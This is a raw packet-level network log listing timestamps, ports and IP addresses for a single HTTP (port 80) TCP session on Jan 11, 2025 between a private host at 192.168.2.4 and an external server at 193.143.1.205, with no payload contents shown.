Jan 11, 2025 02:05:25.047741890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047754049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047780037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.047787905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047835112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.052964926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053011894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053024054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053070068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.053101063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053113937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053150892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.053164959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053177118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053212881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.053311110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053323030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053334951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.053356886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.053383112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082303047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082318068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082382917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082503080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082549095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082561016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082596064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082684994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082695961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082709074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082736015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082751036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082760096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082817078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082828999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082859993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.082966089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082978964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.082989931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083002090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083010912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083045006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083050966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083060026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083087921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083148956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083158016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083169937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083182096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083189964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083219051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083343029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083355904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083367109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083379030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083385944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083396912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083406925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083437920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083446980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083566904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083579063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083590031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083601952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083614111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083621979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083631992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083645105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083652973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083698034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.083839893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083852053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.083895922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084018946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084029913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084041119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084053040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084062099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084098101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084158897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084171057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084182024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084193945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084208965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084213972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084225893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084239006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084248066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084256887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084265947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084304094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084484100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084495068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084506035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084517956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084527969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084536076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084547997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084558964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.084570885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.084599972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087341070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087357998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087372065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087382078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087393999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087409019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087423086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087428093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087443113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087449074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087477922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087488890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087498903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087511063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087523937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087543011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087584972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087595940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087609053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087615967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087630987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087639093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087649107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087676048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087810040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087821960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087852001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087863922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087872028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087884903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087892056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087902069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087922096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.087954998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087975979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087989092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.087996960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088027954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088171959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088182926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088205099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088217020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088224888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088238955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088251114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088263035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088269949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088289976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088310957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088340044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088354111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088365078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088402033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.088453054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088464022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.088502884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.097143888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.104882956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.104904890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.104916096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.104943991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.105000019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.105020046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.105047941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.105184078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.105195999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.105230093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.120584965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134491920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134533882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134546995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134556055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134587049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134594917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134604931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134640932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134785891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134798050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134816885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134830952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134839058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134852886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134865046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134886980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134902000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.134955883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134968042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134979963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.134991884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.135005951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.135010958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.135031939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.139777899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139801979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139812946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139832020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.139846087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.139862061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139935970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139946938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139959097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139971972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.139976978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.140002966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.144921064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169392109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169433117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169445038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169471025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169483900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169503927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169588089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169601917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169615984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169629097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169637918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169658899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169790983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169802904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169815063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169826984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169835091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169846058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169859886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169866085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169886112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.169974089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169986010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.169996977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170017958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170022964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170033932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170043945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170053005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170082092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170231104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170248032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170260906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170269966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170279026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170290947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170299053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170332909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170397043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170408010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170418978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170429945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170442104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170453072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170459032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170470953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170496941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170510054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170614004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170625925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170636892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170649052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170656919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170666933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170674086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170685053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170713902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170859098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170871019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170886993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170897007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.170906067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.170938969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171114922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171129942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171140909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171147108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171154976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171160936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171171904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171183109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171188116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171196938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171209097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171220064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171228886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171240091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171247959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171279907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171339989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171350956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171364069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171386957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171547890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171559095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171569109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171581030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171592951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171602011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171612024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171622992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171629906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171641111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171648979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171658993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171665907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.171677113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.171699047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174570084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174581051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174595118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174606085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174614906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174624920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174633026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174642086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174663067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174743891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174756050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174767017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174793005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174810886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174886942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174899101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174910069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174942017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.174962997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174974918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174985886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.174997091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175004959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.175020933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.175169945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175179958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175190926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175198078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175209999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.175219059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175232887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.175237894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.175343037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.182427883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.204266071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204304934 CET	80	49730	193.143.1.205	192.168.2.4
